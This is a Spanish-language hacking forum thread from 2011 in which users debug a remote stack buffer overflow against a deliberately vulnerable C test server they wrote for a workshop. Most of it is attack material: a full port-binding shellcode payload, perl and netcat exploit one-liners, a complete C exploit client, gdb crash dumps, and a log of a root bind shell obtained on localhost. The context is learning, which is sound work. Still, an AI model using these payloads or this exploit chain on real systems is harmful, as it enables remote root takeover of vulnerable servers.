Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Garfield07 en 18 Febrero 2011, 01:10 am



Título: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 18 Febrero 2011, 01:10 am
Bueno, después de solucionar el último problema ( y colgarlo  (http://foro.elhacker.net/seguridad/reto_adivina_por_que_no_funciona-t319811.0.html;msg1582131#new)) me he puesto a explotar el dichoso servidor de pruebas que he hecho para el taller. Os vuelvo a remitir el código...
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7.  
  8. #include <signal.h>
  9. #include <time.h>
  10.  
  11. int socketfd, newsocket;
  12.  
  13. int vuln (char *trampa)
  14. {
  15. char buffer [100];
  16. strcpy (buffer, trampa);
  17. }
  18.  
  19. void shutup (int signal)
  20. {
  21. times ();
  22. printf ("Shutting down...\n\n");
  23. close (newsocket);
  24. close (socketfd);
  25. exit (0);
  26. }
  27.  
  28. int times ()
  29. {
  30. time_t now=time (0);
  31. struct tm *ahora;
  32. char buffer [40];
  33. ahora=localtime ((const time_t*)&now);
  34. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  35. printf ("%s   ", buffer);
  36. return 0;
  37. }
  38.  
  39. int main (int argc, char *argv [])
  40. {
  41. time_t now=time (0);
  42. struct tm *ahora;
  43. char hora [40];
  44. ahora=localtime ((const time_t*)&now);
  45. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  46. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  47.  
  48. if (getuid()!=0)
  49. {
  50. printf ("This proccess must be run by root.\n\n");
  51. return 1;
  52. }
  53. if (argc<2)
  54. {
  55. printf ("Use: %s <PORT>\n\n", argv [0]);
  56. return 1;
  57. }
  58. int cont;
  59. struct sockaddr_in client, host;
  60. char buffer [1024];
  61. int size=sizeof (client);
  62.  
  63. socketfd=socket (2, 1 ,  0);
  64. host.sin_family=AF_INET;
  65. host.sin_port=htons (atoi (argv [1]));
  66. host.sin_addr.s_addr=0;
  67. bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  68.  
  69. listen (socketfd, 3);
  70.  
  71. times ();
  72. printf ("Starting up...\n\n");
  73.  
  74. signal (SIGTERM, shutup);
  75. signal (SIGINT, shutup);
  76.  
  77. while (1)
  78. {
  79. newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
  80.  
  81. times ();
  82. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  83.  
  84. cont=recv (newsocket, &buffer, 1024, 0);
  85. while (cont>2)
  86. {
  87. times ();
  88. buffer [cont-1]='\0';
  89. printf ("RECV %d bytes: %s\n", cont, buffer);
  90.  
  91. vuln (buffer);
  92. cont=recv (newsocket, &buffer, 1024, 0);
  93. }
  94. times ();
  95. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  96. close (newsocket);
  97. }
  98. close (socketfd);
  99. return 0;
  100. }
  101.  
  102.  

Y os remito el comando que estoy usando para explotar el fallo... [8 nops + 92 shellcode + 4 ret  + 1 null']
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf" . "\x00"' | nc -vv localhost 5555555
El null lo pongo porque en la línea ...
Código
  1. while (cont>2)
  2. {
  3. times ();
  4. --> buffer [cont-1]='\0';
  5. printf ("RECV %d bytes: %s\n", cont, buffer);
  6.  
... el último byte (se programó así por el \n de muchos clientes) se borra.


El caso es que compilo sin ninguna protección...
Código:
juanra@Juanra:~$ sudo gdb -q ./serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 01:05:14
18/02/2011 01:05:14   Starting up...

18/02/2011 01:05:21   Got connection from 127.0.0.1:45163
18/02/2011 01:05:21   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                          Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb) x/16x 0xbffff801
0xbffff801: 0x00000000 0x07000000 0x04000000 0x07000000
0xbffff811: 0x1c000000 0x10bffff8 0x02000000 0x00697a00
0xbffff821: 0x02000000 0x01000000 0x00000000 0xc4000000
0xbffff831: 0x00bffff7 0x5c000000 0x00bffff8 0xc4000000
(gdb) i r eip
eip            0xbffff801 0xbffff801
(gdb)
Fallo de segmentación al principio de la pila. Preguntas: ¿Por qué? ¿Cómo lo arreglo?
Llevo toda la noche pensando, pero no se me ocurre nada... Qué puede ser?

PD: Si os hace falta más información preguntadme.
Gracias! Un saludo
Sagrini


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: M3st4ng en 18 Febrero 2011, 21:07 pm
Hola!

He probado tu código con una shellcode que tenia yo y me ha funcionado:

Código:
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:49:25
18/02/2011 20:49:25   Starting up...

18/02/2011 20:49:29   Got connection from 127.0.0.1:33672
18/02/2011 20:49:29   RECV 112 bytes: ��������������������������������������������������������^�1��F�F
                                                                                                       �
                                                                                                        ����V
                                                                                                             1ۉ�@̀�����/bin/sh�����������
process 3640 is executing new program: /bin/dash

Me da la sensación de que no llegas a sobreescribir completamente el RET. Para hacer overflow necesitas 109 bytes y tu le estas pasando 104:

Código:
$ perl -e 'print "A"x108' | nc -vv localhost 16005

SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:53:00
18/02/2011 20:53:00   Starting up...

18/02/2011 20:53:16   Got connection from 127.0.0.1:54045
18/02/2011 20:53:16   RECV 108 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()

Con 108 no llego a sobreescribir pero con 109 si:

Código:
$ perl -e 'print "A"x109' | nc -vv localhost 16005

Starting program: /home/javi/programacion/pruebas/BOF_remoto/a.out 16005
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:58:36
18/02/2011 20:58:36   Starting up...

18/02/2011 20:58:43   Got connection from 127.0.0.1:39784
18/02/2011 20:58:43   RECV 109 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Revisa el comando que lanzas contra el servidor. Ahora voy a probar tu shellcode.


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 18 Febrero 2011, 21:29 pm
Hola Javi!

Pues no sé, esta noche vuelvo a la carga  :-\ ... ¿Te funciona con mi comando exacto?
Sí, pero es que 100 buffer + 4 EBP + 4 ESP = 108 xD Luego hay que restarle cuatro pues al volver se restan cuatro bytes de la pila (ret). Finalmente... 104.

Eso último me extraña, no sé de dónde sale este último byte... Ahh xD del
Código
  1. buffer [cont-1]='\0';
No me había dado cuenta de que esto también me afectaba en ese ámbito... xD

Gracias! Seguiré probando...
PD: Esto es un code para ir preparando el taller, no el code que vamos a usar en el taller. Nadie es taaaan despistado jaja...


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: M3st4ng en 18 Febrero 2011, 21:40 pm
Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.

Saludos


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 18 Febrero 2011, 21:42 pm
Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.

Mmm, puede que la haya recortado mal, luego la miro, pero no es mía :P
_________________________________________________________________________
Vale, modifico, un detallito...

Al activar el randomize_va_space...
Código:
juanra@Juanra:~$ sudo gdb -q serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:09:38
19/02/2011 13:09:38   Starting up...

19/02/2011 13:09:41   Got connection from 127.0.0.1:46633
19/02/2011 13:09:41   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                           Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff7c4 in ?? ()
(gdb)
RET correcto.

Y al desactivar...
Código:
(gdb) r 31337
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:10:53
19/02/2011 13:10:53   Starting up...

19/02/2011 13:10:56   Got connection from 127.0.0.1:60248
19/02/2011 13:10:56   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                           Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb)

Ambos corren así:
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf"x3 . "\x00"' | nc -vv localhost 31337

¿? Voy a mirar a ver la shellcode...
_________________________________________________________________________
Modf: La shellcode va perfectamente :P


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: M3st4ng en 20 Febrero 2011, 21:47 pm
Hola!

He estado todo el finde fuera y no me ha dado tiempo a mirar mucho. Lo que sí he hecho es reproducir el problema que tú tienes, parece que la shellcode se jode  por algún motivo que aún no he descubierto.
A priori todo el copiado del buffer lo hace bien:

Código:

0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31
0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243
0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd
0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0xe1895652
0xbffff1e0: 0x6a9380cd 0x3fb05902 0x794980cd 0x520bb0f9
0xbffff1f0: 0x732f2f68 0x622f6868 0xe3896e69 0x53e28952
0xbffff200: 0x80cde189 0xbffff678 0xbffff1a0

Luego da un execepción y veo que la pila se ha modificado justo donde tengo la shellcode:

Código:
0xbffff180:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31
0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243
0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd
0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0x00000000
0xbffff1e0: 0x00000000 0x00000007 0x00000004 0x00000007
0xbffff1f0: 0xbffff1f8 0x00000010 0x697a0002 0x00000000
0xbffff200: 0x00000002 0x00000001 0x00000000 0xbffff200

Como se puede ver el EIP esta intentando ejecutar la instrucción que esta en la dir 0xbffff1dd. En esa dir habia código de nuestra shellcode que ha sido modificada.

Código:
Program received signal SIGSEGV, Segmentation fault.
0xbffff1dd in ?? ()
(gdb) info r
eax            0x66 102
ecx            0xbffff1e4 -1073745436
edx            0x0 0
ebx            0x5 5
esp            0xbffff1dc 0xbffff1dc
ebp            0xbffff678 0xbffff678
esi            0x7 7
edi            0x0 0
eip            0xbffff1dd 0xbffff1dd
eflags         0x10206 [ PF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Seguirí investigando


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 21 Febrero 2011, 15:01 pm
El fallo creo que podría estar en la shellcode... Aunque no me sirva para este caso le voy a meter una local, a ver si se ejecuta xD
Si funciona es que el fallo está en la shellcode y listo...

Iré modificando xD


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 21 Febrero 2011, 19:39 pm
Perdonad el doble-post, pero... Lo conseguí!
En realidad era una tontería... \x00 se considera como byte nulo para strlen, por lo que no se contaba y me modificaba de todos modos una parte del exploit. Todo se solucionaba cambiando el byte nulo por cualquier otra cosa... xD xD xD

xD Ohh... Un detallito era que en el GDB me funciona, pero fuera no. Eso es que el ret me cambia al salir :P Ahora voy a meterle la buena shellcode y listo xD


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: M3st4ng en 21 Febrero 2011, 22:37 pm
Hola!

Pues a mi me sigue cascando. La shellcode que uso esta bien porque la he probado en local y funciona perfectamente. No entiendo por qué narices se me modifica la shellcode.....


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 21 Febrero 2011, 22:43 pm
A mi lo que me falla es mi shellcode. He hecho una que printa AAAA y funciona, ahora, la del remoto no va... Ahora voy a mirar el desensamblado a ver a qué amiguito llama :P


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 21 Febrero 2011, 23:21 pm
Perdona el doblepost, pero cuando consigues algo que quieres te motivas un puñado ;)
Te explico...

Servidor
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo gdb -q serv
(gdb) r 31330
Starting program: /home/juanra/Escritorio/Serv/serv 31330
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 21/02/2011 23:16:53
21/02/2011 23:16:53   Starting up...

21/02/2011 23:17:00   Got connection from 127.0.0.1:43225
21/02/2011 23:17:00   RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
              RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���                                              

Exploit line
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x35\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31330
hK 2.0 - By Sagrini (2010) - 21/02/2011 23:17:00
21/02/2011 23:17:00   Got connection with 127.0.0.1:31330
juanra@Juanra:~$

Bind Shell 5074
Código:
juanra@Juanra:~$ nc -vv localhost 5074
localhost [127.0.0.1] 5074 (?) open
whoami
root
groups
root
exit
 sent 19, rcvd 10
juanra@Juanra:~$

12 NOPS + 92 SHELLCODE + 4 RET + 1 BASURA
Código
  1. buffer [cont-1]='\0';

Lo que me fastidia es que sólo corre cuando abres el servidor desde GDB. Mañana lo miraré  ::)
Un saludo!


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: M3st4ng en 22 Febrero 2011, 00:21 am
Hola!!

El tema de que no te funcione sin el "gdb" es porque la dirección que pones como salto a los NOPs no es la misma cuando corre el programa con el gdb que sin él. Tendrás que crear te una función que en tiempo de ejecución te dé un ESP al que le tengas que restar unos cuantos bytes para que caiga dentro de los NOPS.
La función que yo uso es esta:

Código:
unsigned  get_esp(void)
{
  __asm__("movl %esp, %eax");

}

Con respecto al BOF remoto, mañana volvere a intentar otra cosa.

Salu2!!


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 22 Febrero 2011, 00:37 am
Mmm, yo sencillamente modifico el código con un printf y listo xD  :silbar:
La cosa es que ahora se come la shellcode, la empieza por donde no es y me suelta "Instrucción ilegal". Ahora, en GDB gracias a los nops corre xD

Seguiré mirando...
_________________________________________________________

Modf: Vaya con la shellcode...
Añado al code
Código
  1. int vuln (char *trampa)
  2. {
  3. char buffer [100];
  4. strcpy (buffer, trampa);
  5. printf ("Buffer [0x%08x] contains %s...\n", &buffer, buffer);
  6. }
  7.  
NC
Código:
juanra@Juanra:~$ nc -vv localhost 5074
localhost [127.0.0.1] 5074 (?) open
 sent 0, rcvd 0
juanra@Juanra:~$
Exploit
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:04:25
22/02/2011 01:04:25   Got connection with 127.0.0.1:31337
juanra@Juanra:~$
Ejecuto...
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:04:19
22/02/2011 01:04:19   Starting up...

22/02/2011 01:04:25   Got connection from 127.0.0.1:58332
22/02/2011 01:04:25   RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
              RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
Fallo de segmentación

1. Ejecuto el servidor (port 31337).
2. Ejecuto el exploit. El servidor recibe la cadena y queda parado.
3. Ejecuto el NC. El netcat dice que se cierra la conexión y el servidor que "fallo de segmentación".

¿?¿?¿?
_________________________________________________________

Aparte, de pruebas...

Server
Código:
juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:13:49
22/02/2011 01:13:49   Starting up...

22/02/2011 01:13:51   Got connection from 127.0.0.1:50840
22/02/2011 01:13:51   RECV 109 bytes: ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���
Buffer [0xbffff824] contains ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���...
Bjuanra@Juanra:~/Escritorio/Serv$
Exploit
Código:
juanra@Juanra:~$ perl -e 'print "\x90"x80 . "\x31\xc0\xb0\x04\x31\xd2\xb2\x01\x6a\x42\x89\xe1\x31\xdb\x43\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:13:51
22/02/2011 01:13:51   Got connection with 127.0.0.1:31337
juanra@Juanra:~$

La shellcode sólo escribía una B y salía. Funciona a la perfección :P


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 2 Marzo 2011, 19:54 pm
Vale, ahora estaba pasando todo a limpio con una shellcode buena, y me ha salido este error al escribir el exploit...
El fallo está en que me sobreescribe el RET con en el principio de la shellcode (9958666a == 0x6a 0x66 0x58 0x99 ...)
¿Qué le pasa?

Serv
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <signal.h>
  7. #include <time.h>
  8.  
  9. int sockfd, newsock;
  10.  
  11. void shutup (int signal)
  12. {
  13. times ();
  14. printf ("Shutting down...\n\n");
  15. close (newsock);
  16. close (sockfd);
  17. exit (0);
  18. }
  19.  
  20. int times ()
  21. {
  22. time_t now=time (0);
  23. struct tm *ahora;
  24. char buffer [40];
  25. ahora=localtime ((const time_t*)&now);
  26. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  27. printf ("%s   ", buffer);
  28. return 0;
  29. }
  30.  
  31. int handle_conection (char *buffer)
  32. {
  33. char buff [256];
  34. strcpy (buff, buffer);
  35.  
  36. times ();
  37. buff [strlen (buff)-1]='\0';
  38. printf ("[0x%08x]: %s\n", &buff, buff);
  39.  
  40. return 0;
  41. }
  42.  
  43. int main (int argc, char *argv [])
  44. {
  45. time_t now=time (0);
  46. struct tm *ahora;
  47. char hora [40];
  48. ahora=localtime ((const time_t*)&now);
  49. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  50. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  51.  
  52. if (getuid()!=0)
  53. {
  54. printf ("This proccess must be run by root.\n\n");
  55. return 1;
  56. }
  57. if (argc<2)
  58. {
  59. printf ("Use: %s <PORT>\n\n", argv [0]);
  60. return 1;
  61. }
  62. int cont;
  63. struct sockaddr_in client, host;
  64. char buffer [1024];
  65. int size=sizeof (client);
  66.  
  67. sockfd=socket (2, 1 ,  0);
  68. host.sin_family=AF_INET;
  69. host.sin_port=htons (atoi (argv [1]));
  70. host.sin_addr.s_addr=0;
  71. bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  72.  
  73. listen (sockfd, 3);
  74.  
  75. times ();
  76. printf ("Starting up...\n\n");
  77.  
  78. signal (SIGTERM, shutup);
  79. signal (SIGINT, shutup);
  80.  
  81. while (1)
  82. {
  83. newsock=accept (sockfd, (struct sockaddr*)&client, &size);
  84.  
  85. times ();
  86. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  87.  
  88. cont=recv (newsock, &buffer, 1024, 0);
  89. while (cont > 1)
  90. {
  91. handle_conection (buffer);
  92. cont=recv (newsock, &buffer, 1024, 0);
  93. }
  94. times ();
  95. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  96. close (newsock);
  97. }
  98. close (sockfd);
  99. return 0;
  100. }
  101.  
Exploit
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <arpa/inet.h>
  5. #include <sys/socket.h>
  6.  
  7. int main (int argc, char *argv [])
  8. {
  9. printf ("Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net\n");
  10. if (argc != 3)
  11. {
  12. printf ("!!! Use: %s <target_ip> <port>\n\n", argv [0]);
  13. return 1;
  14. }
  15.  
  16. printf ("Creating socket...\t");
  17. struct sockaddr_in host; int sockfd;
  18. host.sin_family = AF_INET;
  19. host.sin_port = htons (atoi (argv [2]));
  20. host.sin_addr.s_addr = inet_addr (argv [1]);
  21. memset (host.sin_zero, 0, 8);
  22. if ((sockfd=socket (2, 1, 0))==-1)
  23. {
  24. printf ("[FAIL]\n\n");
  25. return 1;
  26. }
  27. else printf ("[OK]\n");
  28.  
  29. printf ("Conecting target...\t");
  30. if ((connect (sockfd, (struct sockaddr*)&host, sizeof (host)))==-1)
  31. {
  32. printf ("[FAIL]\n\n");
  33. return 1;
  34. }
  35. else printf ("[OK]\n");
  36.  
  37. printf ("Creating buffer...\t");
  38. char nops [168];
  39. memset (nops, '\x90', 168);
  40. char shellcode [93] = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58"
  41. "\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66"
  42. "\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a"
  43. "\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
  44. "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
  45. char ret [6] = "\x30\xf8\xff\xbf\x90";
  46. char command [265];
  47. strcpy (command, nops);
  48. strcat (command, shellcode);
  49. strcat (command, ret);
  50. printf ("[OK]\n");
  51.  
  52. printf ("Sending buffer...\t");
  53. if (send (sockfd, &command, strlen (command), 0)==-1)
  54. {
  55. printf ("[FAIL]\n\n");
  56. return 1;
  57. }
  58. else printf ("[OK]\n\n");
  59.  
  60. FILE *fp = fopen ("a.txt", "w+");
  61. fprintf (fp, "%s", command);
  62. fclose (fp);
  63.  
  64. printf ("Now you can exec NC [nc -vv localhost 5074]\nBe good!\n\n");
  65. return 0;
  66. }
  67.  

Root Shell1 GDB serv
Código:
(gdb) r 31330
Starting program: /home/juanra/Escritorio/Serv/serv 31330
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 02/03/2011 19:50:08
02/03/2011 19:50:08   Starting up...

02/03/2011 19:50:11   Got connection from 127.0.0.1:41991
02/03/2011 19:50:11   [0xbffff6f8]: ������������������������������������������������������������������������������������������������������������������������������������������������������������������������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                        Rh//shh/bin��R��S��̀jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                       Rh//shh/bin��R��S��̀0����n����������
                                                          �����(跢%���y���y��(���1���1����y���y��(���1����������

Program received signal SIGSEGV, Segmentation fault.
0x9958666a in ?? ()
(gdb)
User Shell2 Exploit
Código:
juanra@Juanra:~/Escritorio/Serv$ ./exploit 127.0.0.1 31330
Vuln 2.0 Exploit 0.1 : Sagrini 2011 : elhacker.net
Creating socket... [OK]
Conecting target... [OK]
Creating buffer... [OK]
Sending buffer... [OK]

Now you can exec NC [nc -vv localhost 5074]
Be good!

juanra@Juanra:~/Escritorio/Serv$


Gracias y un saludo!
Sagrini


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: not-all0w3d en 21 Marzo 2011, 15:54 pm
Hay una extraña sensación en mi, que me indica sólo una cosa, el que no programa su propia shellcode, no está listo para solucionar todo tipo de problemas..

No he leído bien y replanteo la pregunta, ¿has hecho tú la shellcode?


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 21 Marzo 2011, 20:35 pm
Esta no, la he cogido de "Hacking, técnicas fundamentales", aunque está mal. Funciona, pero a veces da errores. Voy a ver si luego la puedo poner, lo más seguro es que no vaya... Reabro sesión y modif...


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: not-all0w3d en 21 Marzo 2011, 21:52 pm
Esta no, la he cogido de "Hacking, técnicas fundamentales", aunque está mal. Funciona, pero a veces da errores. Voy a ver si luego la puedo poner, lo más seguro es que no vaya... Reabro sesión y modif...

¡Qué mal!, te recomiendo que hagas tus propias shellcodes, yo sigo aprendiendo y me gusta esto de los overflows, y créeme es una batalla contra el Ollydbg (En mi caso).. Bueno espero que te funcione y ya ahí me pasas la shellcode para chequearla  :)


Título: Re: ¿ Fallo BoF Remoto Linux ?
Publicado por: Garfield07 en 22 Marzo 2011, 18:07 pm
Sí, sólo que el nivel de complejidad de este tipo de shellcodes es algo más alto... Hago las mías propias para cosas pequeñas, pero una portbinding shell ya es otra cosa ;) Aún no me he animado a hacerla  :-\ Aunque comparto tu opinión, esta shellcode era menos importante a que funcionase correctamente.

Un detalle, para el que quiera que funcione cuando lo corras fuera del debugger, tienes que juntarse a su proceso. Os pongo el ejemplo:
Citar
sagrini@sagrini:~/Escritorio/OverFlow/Cap2$ sudo ./serv 80 &
[1] 5166
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/03/2011 18:09:26
sagrini@sagrini:~/Escritorio/OverFlow/Cap2$ sudo gdb -q -pid=5166 --symbols=./serv
Attaching to process 5166
Load new symbol table from "/home/sagrini/Escritorio/OverFlow/Cap2/serv"? (y or n) y
0xb783d430 in __kernel_vsyscall ()
(gdb) c
Continuing.
22/03/2011 18:10:08   Got connection from 127.0.0.1:49484
